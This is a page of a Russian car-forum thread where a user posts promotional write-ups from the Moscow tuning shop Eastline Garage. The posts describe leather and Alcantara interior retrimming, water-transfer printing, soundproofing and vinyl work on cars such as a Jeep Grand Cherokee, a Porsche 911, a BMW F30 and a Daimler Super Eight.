+ Ответить в теме
Страница 31 из 38 ПерваяПервая ... 21 29 30 31 32 33 ... ПоследняяПоследняя
Показано с 301 по 310 из 376

Тема: Перетяжка Салонов и Продажа Материалов. Алькантара, Кожа


  1. #301
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Jeep Grand Cherokee – Полный пошив салона + антихром

    Jeep Grand Cherokee – автомобиль уже ставший классической моделью без которой невозможно представить всю линейку Jeep. За 23 года в сознании обывателей четко сложился образ, этого автомобиля. Просторный, неприхотливый, проходимый и что немаловажно красивый автомобиль. Многие ценят эту модель именно за комфорт в салоне, недаром в народе ее называют созвучно английскому названию «Джип большой, широкий».



    В бережных руках мастеров Eeastline Garage модель 2015 года выпуска с дизельным мотором, но базовой комплектацией. Отличительная черта «базы» в том, что салон выполнен в тканb, что в корне соответствует представлению владельца о том, как должен выглядеть его автомобиль.



    Предельно емкая задача – автомобиль должен стать максимально строгим, но не только в интерьере, но и в экстерьере.




    В салоне прошли разительные изменения – больше никакой ткани! Сиденья, перешиты в натуральную итальянскую кожу. Прекрасный материал, кажется, что он создан именно для автомобильных интерьеров. Легкий в уходе, максимально стойкий ко внешнему воздействию, приятен на ощупь. Но в выборе материала всегда важен не только сам материал, но и его производитель, мы используем только итальянскую кожу. Ее качество проверено десятками наших клиентов, многие приезжают и со вторыми автомобилями, потому что за годы эксплуатации наши материалы остаются в первозданном виде.



    Для салона этого Grand Cherokee выбрана фактурная кожа цвета антрацит. Крой оригинальных сидений остался, перетяжка в итальянскую кожу выполнена скрытыми швами, без декоративной прострочки. Для семейного автомобиля кожа отличный выбор, особенно с учетом, что в салоне часто будут находится дети. Можно не боятся за пролитые напитки, грязные подошвы обуви и так же за мелкие шалости, которые могут принести стандартному тканевому салону большие проблемы. Кожа легко моется, но хотя бы раз в год требует чуть более внимательного ухода, ведь это натуральный материал, а на выбранном владельцем этого авто цвете загрязнения практически не видны, что несомненно является большим преимуществом.



    Так как тканевые элементы полностью удалялись, то центральный подлокотник и подлокотники в дверях так же подверглись перетяжке в итальянскую кожу. Однако для данных элементов была выбрана декоративная прострочка в один шов, выполненная нитью черного цвета. Такая незамысловатая прострочка придает необходимый объем ровным поверхностям и прямым углам этих деталей. Вставки в дверях были также перетянуты в натуральную фактурную кожу цвета антрацит.




    Точка в салоне была поставлена перетяжкой накладки руля в итальянскую кожу. Полностью перетягивать руль не было необходимости, заводская оплетка в прекрасном состоянии, а вот подушка руля из пластиковой превратилась в кожаную. Несомненно этот простой ход позволил подчеркнуть общую изысканность салона и добавил элегантности выбранному строгому стилю. Кстати, как и на подлокотниках здесь выполнена декоративная прострочка не контрастной нитью.



    Сочетание черного авто с черным салоном часто называют «черный на черном», но в нашем случае экстерьер был недостаточно черным. Антихром – вот решение этого вопроса. У данной модели Grand Cherokee с завода выполнена хромированная окантовка дверных рамок. Для нашего строго выдержанного стиля эти элементы были не нужны и мастерами Eastline Garage произведена их оклейка черной глянцевой пленкой. Процедура антихрома выполняется в короткие сроки, но позволяет придать автомобилю вид, выделяющий его из толпы собратьев.



    Новый образ автомобиля в точности доведенный до идеала своего владельца будет теперь радовать его при каждой поездке. А восторг от тактильных ощущений и поистине нового уровня комфорта, благодаря применению фактурной итальянской кожи, моментально выдали улыбки владельца авто и его супруги, ведь невозможно скрыть эмоции, когда воплощаются мечты.

    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  2. #302
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Аквапринт пластика в салоне Volkswagen Touareg.


    Самое важное для нас, команды тюнинг-ателье Eastline Garage, это улыбки наших клиентов, когда они забирают авто после проделанных работ, ведь мы всегда прикладываем максимум усилий, чтобы автомобили радовали владельцев ежедневно, даже спустя годы.



    Наши приоритеты в работе – это качество, аккуратность и долговечность. Каждая работа выполняется так, чтобы по прошествии времени, за нее не было стыдно.







    Доказательством этого являются наши клиенты, которые продолжают совершенствовать свои автомобили, доводить их до идеала и приходят в Eastline Garage для реализации новых идей.



    Так и наш сегодняшний друг, владелец белоснежного красавца Volkswagen Tоuareg. В прошлый раз с этим автомобилем произошли масштабные изменений, начиная от полной шумоизоляции для поднятия общего акустического комфорта, заканчивая абсолютно новым салоном, перетянутым в алькантару потолком, перешитым рулем и ручкой кпп. Не обошли стороной такие детали как потолочный пластик и конечно же был пошит комплект ковров из экокожи для Volkswagen Tоuareg.



    Отметим что все элементы нового интерьера выглядят превосходно, все скептики могут встать в очередь и посмотреть, что за год ежедневного использования в суровых реалиях мегаполиса каждый стежок остался на своем месте, а итальянская кожа и алькантара находятся в первозданном виде.



    Сегодня будут не столь разительные изменения, а всего небольшой штрих, который придаст салону новый вид, более современный и стильный. Вы наверное догадались, речь пойдет об аквапечати или как ее чаще называют – аквапринт. В салоне Туарега есть панели выполненные под дерево и вот именно их и было решено подвергнуть иммерсионной печати. Текстура выбрана глянцевая, рисунок – темный шлифованный алюминий. В Eastline Garage можно выбрать из десятков вариантов текстур для аквапринта и что самое приятное, все они доступны как в глянцевом, так и в матовом исполнении.



    Отличительной чертой нашего производства является нанесение минимум трех слоев лака на глянцевую деталь. Спросите, зачем так долго и сложно? Ответ кроется в той глубине блеска, которая получится. Рисунок, по своей сути, плоский, а чем больше слоев лака, тем более глубокими тонами и полутонами может переливаться поверхность. Даже при скудном освещении от салонных плафонов такие панели будут выглядеть превосходно, а на солнце завораживать игрой красок. Приятным бонусом является повышенная устойчивость к истиранию и царапинам, можно не бояться наносить аквапринт на дверные ручки и часто используемые детали, как, например, элементы центральной консоли этого Volkswagen Tоuareg.

    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  3. #303
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Видеообзор Saab 9-5 Hirsch Performance от Eastline Garage

    Всем доброго дня! В преддверии Новогодних праздников мы решили порадовать Вас еще одним видеообзором! А главным поводом для его создания стала проделанная работа над настоящим шведом — Saab 9-5 от Hirsch Performance.

    P.S. При создании данного видео ни один олень не пострадал))

    Приятного просмотра!





    С наступающим Новым Годом! Удачи в Новом Году!!!
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  4. #304
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Шумоизоляция легендарного Porsche 911.





    Закрываем глаза и начинаем представлять… механика, оппозитный двигатель… полный привод… Ну как, подсознание нарисовало вам уже Subaru Impreza или может быть другую модель этого производителя? Тогда давайте продолжим … убирайте с Вашей воображаемой Subaru турбину, выкидывайте лишние двери и перетаскивайте оппозитник назад, при этом сделайте его еще шести цилиндровым с объемом 3,4. Ну что, теперь у Вас сложился точный образ?



    Встречайте, в Eastline Garage Porsche 911 (996) Carrera 4. Это бесподобный автомобиль, как и все 911 он прекрасен как с эстетической, так и с технической стороны. Кстати это первый 911 который изменил размеры колесной базы с 1963 года, прибавив сразу 10 см, что позволило немного изменить пропорции кузова и добиться лучшей компоновки агрегатов.

    В случае с Порше полный привод — это еще и плюс в сторону более симметричной развесовки, не говоря о лучшей управляемости, ведь тяжелый зад склонен к заносу. Да и зимой на таком мощном авто гораздо приятнее с полным приводом. Да-да, зимой на 911, это кстати повседневный автомобиль и именно с целью
    повышения комфорта для ежедневной эксплуатации этот автомобиль и прибыл в тюнинг ателье Eastline Garage.








    Конечно же это в первую очередь спорткар и он не во всем приспособлен для каждодневных поездок. Основной проблемой является слабая шумоизоляция, вот именно этот недочет мы и будем устранять.







    Конечно же это в первую очередь спорткар и он не во всем приспособлен для каждодневных поездок. Основной проблемой является слабая шумоизоляция, вот именно этот недочет мы и будем устранять.





    Плюс в процессе разборки были обнаружены незначительные повреждения некоторых пластиковых элементов и их креплений, что в целом могло и не мешать, но наши мастера полностью уходят в работу с головой и не оставляют ни малейших недочетов.



    Спросите откуда же в салоне могли взяться поломки? Во первых, машина не молода, пластик мог высохнуть и дать трещины, во вторых нынешней владелец не первый, а что делалось до него никто не знает и в третьих и это самое главное – какими руками проводились все предыдущие работы по салону.

    Но теперь можно не переживать за это – все элементы прочно закреплены на своих местах.



    Что касается самого шумоизолирующего материала, то тут следует всегда помнить о тонкой грани между уровнем акустического комфорта и дополнительным весом, который прибавляется к авто. Специалисты Eastline Garage смогли подобрать оптимальное соотношение этих величин и произвести оклейку шумопоглощающими материалами всех требующих того поверхностей.









    Основной акцент уделен днищу,моторному щиту, дверям и крыше. Суммарный вес материалов не превысил 35-40 килограмм. Даже после короткой 10 минутной поездки владелец отметил что уровень шума снизился значительно, а вот каких-либо динамических потерь для езды по городу не наблюдается.





    В дополнение к проделанной работе нами была проведена химчистка кожи, которая присутствует на потолке данного авто.



    ---------- Сообщение добавлено в 06:06 ---------- Предыдущее сообщение размещено в 04:38 ----------

    Преображение салона BMW 3 F30 или дьявол кроется в деталях.


    Большая немецкая тройка, это эталон для большинства производителей автомобилей. На них ориентируется и покупатели, выбирая тот или иной автомобиль. Споры о том какой же из представителей этих концернов лучше перешли уже в разряд идеологических, при этом не взирая на класс автомобиля. Сегодня мы поговорим о самом маленьком седане Баварского концерна, а именно о знаменитой и эпохальной трешке.



    Встречаем, в стенах тюнинг ателье Eastline Garage BMW 3er в крайнем на данный момент кузове — F30. Машина с историей, машина легенда, трешка во всех ее поколениях будоражила умы автолюбителей, начиная с середины семидесятых годов. Шесть поколений и с первого взгляда мы всегда узнаем ее силуэт в любом кузове, ни это ли пример лучшей преемственности поколений, следований выбранной идеологии и сохранение традиций.



    Конечно за 40 лет изменилось многое, автомобиль подрос во всех смыслах, это и большие габариты, и более мощные моторы, и конечно же более современное оснащение интерьера. К диковинному когда-то кондиционеру добавились и многозонные климатические установки, и всевозможные электронные помощники, и системы безопасности, и мультимедийные комплексы в десятки раз мощнее тогдашних суперкомпьютеров.



    Такие глобальные изменения требуют и нового облика рабочего места водителя, когда выбрать можно было из пары видов тканевой обивки, да и все, сейчас же различные комбинации тканей, кожи, отделок панелей, да и цветовых решений в арсенале уже не два. Но мы знаем, что на вкус и цвет товарищей нет, и именно поэтому мы беремся за самые интересные проекты и идеи наших клиентов.



    Изменения в салоне этого BMW начались с сидений, кстати говоря они прибыли к нам отдельно от авто, для удобства клиентов мы работаем как с отдельными частями салонов, так и полностью осуществляем весь комплекс работ по разборке и сборке авто, оставляя машину на хранение. Итак, плотно сбитые спортивные сиденья, изначально были тканевыми и это был их главный минус. Фактурная экокожа и алькантрара, что может быть лучше? А лучше может быть комбинация из черной фактурной немецкой экокожи и двух видов
    итальянской алькантары, цвета антрацит, одна из которых отличается строгой геометрической перфорацией, выполненной квадратами. Лучшее сочетание фактур, которое сейчас применяется в автомобильных интерьерах, алькантара и кожа, пожалуй, сложно придумать лучше. А вот что касается цвета, то тут у нас
    маленькая радость в большом черном салоне. По сути цвет антрацит, это почти черный, но не черный и именно на этом сочетании мы и сыграли. Если все материалы взять одного цвета, то салон получится грузным и не уютным, а легкая разница выбранных для этого проекта цветов придает легкость и создает небольшие
    акценты, кстати цвет антрацит встретится нам еще, и так же в виде итальянской алькантары, но уже без перфорации. Задний диван перетянут экокожей и алькантарой, аналогично передним сиденьям. Одно удовольствие погружаясь в салон чувствовать как цепко тебя охватывает боковая поддержка кресел, обивка которой скомбинирована из алькантары и фактурной экокожи.



    Двинемся помаленьку дальше, автопроизводители стали жадные и часто предлагая кожаную обивку сидений
    экономят на подлокотнике, вот такая досада, а уж при тканевом салоне мечтать о разнообразии материалов не приходится. Вот и в этом случае передний подлокотник был бережно извлечен и преобразился в новом облике. Перетяжка подлокотника в экокожу просто необходима при обновлении сидений, ведь все должно быть прекрасно в интерьере. Наш новый интерьер Баварца строг, поэтому никаких лишних ухищрений, подлокотник в экокожу и скромная декоративная прострочка одинарной черной нитью по местам сгибов поверхностей.



    Ровно такие же изменения, а именно перетяжка в немецкую фактурную экокожу, постигли еще один элемент расположенный на центральной консоли, это планка, визуально отделяющая пассажира от органов
    управления мультимедиа, как бы намекая что в этом авто главный именно человек за рулем и только ему доступны все органы управления многочисленными системами.



    Второе крупное изменение в интерьере, это потолок. По задумке владельца это должно было быть что-то не как у всех, а более индивидуальное.



    После рассмотрения всевозможных вариантов от комбинаций цвета, вышивок и придания рельефа, мы остановились на простом и изящном решении. Потолок мы перетянули в итальянскую алькантару цвета
    антрацит. Потолочный пластик полностью демонтирован и окрашен в цвет алькантары. Оставить без внимания солнцезащитные козырьки мы себе просто не могли позволить, но тут все банально была выполнена их перетяжка в итальянскую алькантару.



    Стойки, пожалуй, самые сложные элементы при перетяжке потолка в алькантару, конечно же они тоже выполнены на высшем уровне.



    Итого, козырьки перетянуты в алькантару, потолок поклеен, пластик покрашен, выполнена перетяжка стоек, спросите где же обещанная индивидуальность потолка?



    И вот тут дизайнеры Eastline Garage совместили на потолке этого BMW различные фактуры применив в качестве декоративной отделки полосу из фактурной экокожи. Она проходить вдоль крыши визуально оттеняя однотонный потолок. На самой полоске выполнена одинарная прострочка по каждому краю. Вот такое не сложное, но элегантное решение позволило создать уникальный интерьер этого авто.



    А ведь все так просто, внимание к деталям и не более того.


    Перетяжка дверных карт и торпедо на Mercedes-Benz C-class



    Каждый раз, когда мы видим авто своих клиентов мы радуемся, как дети, ведь это частичка души каждого из членов команды Eastline Garage. Невероятно приятно видеть, что за год или несколько лет, работа, проделанная собственными руками продолжает радовать владельца авто. Особенно когда речь заходит о смелых и нестандартных проектах.



    Встречайте, в Eastline Garage Mercedes-Benz С-class W204. Тот самый, который в душе оказался самым черным из всех Mercedes С-class, его владелец видит идеальный салон, как и весь автомобиль, только в черном цвете.



    Много усилий приложено и к внешнему виду, тут проведен полный антихром, а уж какие изменения с салоном были… Если коротко, то в теле W204 находится С207.



    Очень неординарная и смелая идея, подружить салон от старшего купе с седаном младшей серии, в процессе этой работы наши специалисты нашли десятки новых, уникальных, абсолютно нетривиальных решений по тюнингу салона. Благодаря новым креслам тогда салон преобразился до неузнаваемости.



    Но, шло время и желание довести до Абсолюта свою мечту не покидало хозяина этого Mercedes С-class. И вот, перед мастерами Eastline Garage новая задача, торпедо и обшивка дверей должны стать продолжением сидений.



    Одно из самых ярких и интересных решений при такой задаче, это перетянуть торпедо в экокожу, а что бы картина была целостной и законченной, обшить дверные подлокотники и панели дверей также в экокожу. В продолжении декоративных мотивов салона, мы пустили опоясывающую все перешитые элементы декоративную прострочку белой нитью, выполненную большими, как будто нарочно грубыми стяжками. Такой декор в точности повторяет стиль родных кресел Mercedes-Benz.





    В качестве материала для проведения таких масштабных работ выбрана фактурная немецкая экокожа цвета антрацит. По своей фактуре она максимально подходит к оригинальным сиденьям, что создает целостность облика и не выдает различные материалы в салоне.





    По своей фактуре она максимально подходит к оригинальным сиденьям, что создает целостность облика и не выдает различные материалы в салоне.



    Без внимания не оставлены подлокотники и панели на которых расположены кнопки управления стеклоподъемниками, отныне они также щеголяют покрытием из экокожи.



    При работе по перетяжке торпедо необходимо учесть все возможные нюансы, влияющие на последующую сборку салона, чтобы сохранить ровные зазоры между деталями.





    В целом, работа с такими крупными элементами интерьера требует не только определенных навыков от мастеров, но и опыта, помогающего точно рассчитать натяжение материала, выявить места возможных провисаний и растяжений материала и уделить им особое внимание.



    Мы с Вами помним, что салон этого Mercedes-Benz не всегда был черным и что бы таких напоминаний было меньше наши мастера окрасили некоторые элементы дверей и боковые части торпедо в черный цвет, полностью исключив проявления старого цвета интерьера.



    Таков был очередной небольшой шаг к салону мечты в этом отдельно взятом Mercedes-Benz С-class, так что дерзайте, берите свои идеи и приходите к нам в Eastline Garage, мы поможем в реализации любых ваших желаний по интерьеру автомобиля.
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  5. #305
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Toyota Land Cruiser Prado — аквапринт декоративных элементов салона.



    В наше время люди все больше начинают ценить комфорт. Комфорт абсолютно во всех областях жизни. Мы привыкли окружать себя удобными и красивыми вещами, находится в приятной атмосфере, получать максимум от всего. Так почему же в столь комфортном автомобиле как Toyota Land Cruiser Prado в любом его исполнении присутствует не самый презентабельный серый пластик?



    Встречайте, в тюнинг ателье Eastline Garage Toyota Land Cruiser Prado 2016 модельного года, белоснежная красотка, практически с нулевым пробегом.



    Речь пойдет о хорошо всем известном аквапринте. Владелец решил начать с минимальных изменений, иммерсионной печати подвергнутся дверные ручки, вставки на руле и одна из планок магнитолы. Казалось бы, все легко и просто, но большинство владельцев Land Cruiser Prado знают, что дьявол кроется в деталях.



    В данном случае в самых маленьких деталях, та самая небольшая планка на головном устройстве медиа системы требует полного извлечения блока и разбора большей части центральной консоли. А такие операции требуют очень хорошо подготовленных специалистов, наши мастера имеют дело уже далеко не с первым Крузаком и все нюансы разборки салона этого авто нам хорошо известны. Однако это не отменяет того что превыше всего должна быть аккуратность!



    Мастера Eastline Garage постоянно совершенствуются в работе с различными авто, мы учитываем специфику каждого производителя, мы знаем множество секретов простого и главное безопасного для деталей и покрытий, способов разобрать салон.



    Перед работой с каждой конкретной моделью нами подбираются все возможные материалы по архитектурным особенностям деталей, по способам их демонтажа, а так же изучаются имеющиеся cхемы и инструкции, порой не находящиеся в свободном доступе.



    Аквапринт дверных ручек и вставок на руле требователен к финишному покрытию, но 3 слоя лака, которые мы наносим на все глянцевые детали защитят покрытие от царапин, сколов и прочих механических повреждений. В качестве рисунка выбран тренд сезона – темный шлифованный алюминий. Эта одна из самых универсальных текстур, ее можно применить практически в любом интерьере.



    Салон этой Toyota Land Cruiser Prado получил маленький глоток свежести благодаря аквапринту, но скорее всего это только начало большого пути по преображению автомобиля.





    Opel Corsa Эпизод I: Начало преображения.

    — Ты слышал?

    — …

    — Они вырубили главный ректор, теперь нас точно уничтожат!

    — …

    — Это безумие, мы обречены…На этот раз принцессе не скрыться…



    Именно так в 1977 Джордж Лукас познакомил мир со своими звездными войнами, концепт которых он придумал на больничной койке. Казалось бы, «это безумие» начинать с 4 части, тонко намекаяна то что, некогда объяснять просто смотри Звездные войны. Мы тут же вовлечены в затяжную кровавую войну, нам рассказывают про звезду смерти, принцессу и еще много совершенно не понятной информации. Однако, так началась самая великая киносага гениального режиссера Джорджа Лукаса.



    Встречайте, в стенах тюнинг ателье Eastline Garage Opel Corsa D и его замечательная владелица, которая к темной стороне силы склонна.



    Количество фанатов киносаги во всем мире давно превысило сотни миллионов человек, и стар, и млад, каждый если не видел даже ни одного фильма, то уж точно слышал о них. И кто бы мог подумать, но течение силы дошло и до нашего ателье Eastline Garage.



    Наши мастера по винилу и пошиву преобразили обычную Корсу в авто настоящего фаната Звездных войн, и кто знает, может теперь там тоже присутствует сила.



    Изменений много, но из самых масштабных отметим винил, его невозможно не заметить, по бортам машины появились бело розовые изображения символов тематики Звездных войн и различные звездолеты и прочая фантастическая техника. Лобовое и задние стекла отныне могут похвастаться надписями «sith starfighter» и «make love not star wars» и что самое главное шрифт выбран стилизованный под оригинальный, разработанный специально для киносаги.



    Еще один штрих во внешнем облике это глянцевая черная пленка на решетке радиатора, для черной Корсы это отличный шаг к созданию собственного облика. Антихром решетки радиатора не сложная операция, но позволяет в короткие сроки изменить восприятие автомобиля и выделиться в общей массе.



    В салоне чуть больше изменений и самое яркое из них это конечно же розовые ремни безопасности.



    В тюнинг ателье Eastline Garage представлено более 50 расцветок автомобильных ремней от черных, графитовых и серых, до всевозможных желтых, фиолетовых и различных полутонов.



    В салоне этого авто розовые ремни продолжают тему, заданную внешним винилом, да и потом, какая женщина не любит розовый.

    Еще одно значимое изменение в салоне, это руль.



    Часто возникает необходимость заменить покрытие на рулевом колесе, либо же в младших комплектациях автомобиля и вовсе был пластиковый руль, или если вы не первый владелец, а хочется подарить себе чуточку ощущения новизны, то перетяжка руля в итальянскую кожу именно то, что нужно.



    Для работы с рулями мы используем итальянскую кожу Nappa, в данном случае цвет выбран черным, а сама кожа без перфорации, но мы с уверенностью можем сказать, что подберем материал для абсолютно любых Ваших пожеланий. Заглушки на спицах руля не остались незамеченными и были оклеены пленкой. Выбор пал на одну из самых популярных – темный шлифованный алюминий.



    Однако основным элементом, задающим в салоне «алюминиевое» настроение является центральная консоль, она полностью оклеена в уже упомянутую пленку. Уникальность этой пленку заключается в ее универсальной фактуре и цвете, идеально подходящем для абсолютно любого салона.



    Элементы, оклеенные в черный шлифованный алюминий становятся новыми центрами притяжения взглядов в салоне.
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  6. #306
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Porsche Cayenne - тюнинг салона в Eastline Garage

    Разработка индивидуального дизайна
    Перетяжка сидений в натуральную кожу Nappa и итальянскую алькантару
    Тиснение кожи на подголовниках
    Полная шумоизоляция кузова автомобиля
    Замена лент ремней безопасности на цветные
    Покраска пластика
    Приятного просмотра!




    По всем вопросам обращайтесь по телефону
    8-495-227-73-75 или 8-968-823-48-61
    г.Москва ул.Краснобогатырская, 9
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  7. #307
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Перетяжка руля в итальянскую кожу и аквапринт салона Mazda 6.



    Японский автопром радует нас надежностью, новинками в области электроники, различными техническими ухищрениями… но почему они не в состоянии избавиться от серого жесткого пластика которым буквально изобилуют все автомобили родом из страны восходящего солнца.



    Встречаем, Mazda 6 в кузове GH, вернее мы в Eastline Garage встретили всего навсего посылку. В Вашем городе нет тюнинг ателье, занимающихся аквапринтом, винилом или перетяжкой рулей? Не беда, наше тюнинг ателье готово прийти Вам на помощь.



    С нашими менеджерами и мастерами можно связаться любым удобным для Вас образом, обсудить все пожелания и нюансы предстоящей работы, выбрать из множества представленных у нас материалов и услуг, а затем хорошо упаковав необходимые детали отправить их нам. Так и поступил владелец этой Мазды 6.



    В руках мастеров Eastline Garage оказались всевозможные детали центральной консоли и приборной панели. Требовалось кардинально сменить настроение в салоне автомобиля. Серый цвет долой, карбон — добро пожаловать! Из представленных вариантов карбона мы остановились на максимально реалистичном из всех имеющихся в нашем арсенале. Аквапринт или винил?



    Этот вопрос задают все, кто решил изменить салон.



    Мы занимаемся и тем, и другим, каждая из технологий имеет свои преимущества и недостатки, мы всегда расскажем о них и предложим десятки различных вариантов, а Вам остается только выбрать то, что подойдет для реализации ваших желаний.



    В данном случае выбор пал на аквапринт.
    Технология иммерсионной печати позволяет наносить рисунок на любую поверхность, выбирать практически любые текстуры и главное в глянцевом исполнении с нанесением финишного лака такое покрытие прослужит Вам очень долго.



    Аквапринт центральной консоли дело достаточно сложное и требует тщательной подготовки детали, как в общем и любого другого элемента.



    Ведь от того ка как будет подготовлена поверхность зависит конечное качество аквапринта и его долговечность.



    При выборе аквапринта салонного пластика Вы не ограничены в том на какие детали наносить рисунок, например, пленка не всегда может ровно лечь на тонкие элементы вроде колец обрамляющих колодцы приборов, а в центральной панели есть множество мелких деталей достаточно причудливых форм и аквапринт с легкостью поможет их преобразить.



    При масштабном изменении салона просто необходимо уделить внимание пластику на руле и селекторе КПП.



    Если с ручкой КПП все достаточно просто, то декоративные панели руля бывают столь невероятных форм что только аквапринту под силу дать им новую жизнь, ярким примером служат панели кнопок управления магнитолой и круиз контролем.



    Конечно же затронув руль невозможно отказать себе в удовольствии перешить его натуральной итальянской кожей. Перетяжка руля натуральной кожей Nappa позволит получить ощущение нового авто, ведь руль главный орган управления и именно ощущения от того как он лежит в руках и влияет на восприятие авто.



    Для этого руля использована черная итальянская кожа Nappa в гладком исполнении и с перфорацией. Подушка руля также перетянута в кожу с добавлением декоративной прострочки.



    Раз руль полностью изменил свой облик, то и ручка КПП должна соответствовать ему. Аквапринт ручки КПП, точнее вставки на ее лицевой стороне и полная перетяжка в натуральную кожу.
    Сказать что это новый облик – ни сказать ничего, такой элемент мог бы легко красоваться в салоне любого автомобиля.
    АЛЬКАНТАРА и КОЖА с самоклеющейся основой
    Продажа материалов,перетяжка салонов
    8-968-823-48-61
    http://www.eastline-garage.ru

  8. #308
    GTI-Racing TimoШa has a spectacular aura about TimoШa has a spectacular aura about Аватар для TimoШa
    Регистрация
    24.01.2012
    Откуда
    Москва
    Машина
    Altezza
    Сообщений
    267
    Реставрация салона Daimler Super Eight



    Британская классика, да что мы знаем о ней… Rolls-Royce, Bentley, что вы еще с ходу назовете? Jaguar, многие еще добавят, но навряд ли широким массам известен наш сегодняшний гость.
    Встречаем, Daimler Super Eight прибыл на реставрацию салона в тюнинг ателье Eastline Garage. И тут вероятно повисает неловкая пауза, ведь на первый взгляд это всем хорошо знакомый Jaguar XJ X358.



    И да отчасти это так. Марка Daimler, вот тут надо правильно ее прочесть, мы же всё-таки о Британцах говорим, верно говорить «Дэймлер» и тогда Вас сразу поймут, основана на рубеже 19-20 столетия и занималась выпуском поистине роскошных автомобилей, это было еще в те далекие времена, когда на шасси ставился кузов выполненный в единственном экземпляре. К середине прошлого столетия дела у марки были не столь успешны, поэтому последовала череда ее перепродаж и покупок, пока в итоге она не осела в руках Jaguar. Вот тут то и началась более известная миру история. Под маркой Daimler, да и не путаем ее с немецкой «Даймлер», которая Daimler-Benz AG в девичестве, выпускались только, скажем, улучшенные версии авто, хорошим примером послужит нынешнее поколение S-class, ведь можно купить как обычное авто, так и исполнение Maybach. По сути просто более комфортный и респектабельный вариант автомобиля донора.



    Daimler Super Eight, в нашем случае построенный на базе рестайлингованного 4 поколения XJ, а именно XJ X358, обладает удлиненной базой, более дорогими материалами отделки и самыми последними техническими новинками тех лет, а оснащение включает все что только можно представить. Как мы сказали раньше, в стенах Eastline Garage этот авто на реставрации.



    Основная задача была по реставрации сидений, с них и начнем. Требовалось максимально сохранить облик авто не только визуально, но и в самих материалах. Нами была подобрана кожа производства Bentley Leathers Inc, более известная как кожа Bentley. Боковые части сидений, выполнены в молочно-белом цвете и гладком варианте исполнения материала.



    А вот с центральными частями, выполненными из перфорированной кожи вышла сложная ситуация, как выяснилось кожу с таким шагом перфорации перестали производить. Можно заказать оригинальный аналог, но он также не будет 100% идентичен, а нам это не подходило. Поэтому было принято решение о чистке и профилактических процедурах по восстановлению внешнего вида этих элементов. Перетяжка сидений в натуральную кожу и без того вопрос щепетильный и тонкий, а в случае с частичной реставрацией и вовсе требует особого подхода.



    Но для наших мастеров это ежедневный труд и наш богатый опыт по работе с различными авто позволил выполнить перетяжку сидений на высочайшем уровне. Подголовники также обновлены и теперь на них красуются вышивки в виде фирменных эмблем Daimler.



    Элемент не оригинальный, но в случае с правильным подбором цвета и толщины нити выглядит как родной и при этом делает этот автомобиль еще уникальнее.



    И конечно же нами сохранена и полностью перешита заново декоративная отделка из темного кожаного канта, проходящая по боковинам и подголовникам сидений.



    Один из наиболее крупных элементов, перетянутых кожей в салоне этого авто является центральная консоль. Она полностью опоясывает собой органы управления мультимедиа и климатической установкой, имеет множество элементов, таких как крышки подстаканников, потайные ниши и подлокотники и все они закрываются, что бы облик салона был монолитен, без каких-либо чужеродных деталей.



    Перетяжка центральной консоли в кожу не может обойтись без декоративных строк и их хитроумных переплетений. Нами полностью воссоздан первоначальный облик панели, с соблюдением таких мелочей как ширина стежка.



    Так же выполнена перетяжка подлокотника в натуральную кожу. В целом перетяжка центральной консоли по своей сложности сравнима с перетяжкой торпедо в кожу и доверить такую процедуру лучше всего профессионалам с опытом в этом вопросе.



    Наши мастера проводили такие манипуляции неоднократно и с множеством различных автомобилей.



    Дверным картам не требовалась полная перетяжка, а вот отдельные элементы требовали внимания к себе. Нами выполнена перетяжка дверных ручек в кожу Bentley. Ручки в данном случае интегрированы в подлокотники, поэтому можно это считать и перетяжкой подлокотников в кожу.



    Перетяжка дверных карт ограничилась обновление покрытия на верхних панелях и подиумах аудиосистемы, расположенных в нижней части дверей, выполнены эти детали в коричневой натуральной коже Bentley.



    Реставрация вопрос тонкий и основное в нем неспешность и аккуратность, как и во всей работе по перетяжке салона.



    Однако мы понемногу близимся к завершению и на очереди у нас руль и ручка КПП. Перетяжка руля в натуральную кожу Bentley была просто необходима, ведь самые заметные детали уже обновлены. Руль Daimler Super Eight в большей части выполнен из дерева и только два небольших участка перетянуты кожей.



    Конечно же нами выполнена перетяжка подушки руля в кожу, узор декоративной прострочки идентичен оригиналу. Коричневая кожа и неконтрастная прострочка вот и все скромное, но очень стильное ее украшение. Ну и конечно же нами перетянута ручка КПП.



    В багажном отсеке отныне красуется фирменный ковёр из экокожи от Eastline Garage серого демократичного цвета со сливочной прострочкой и неброской стильной вышивкой.



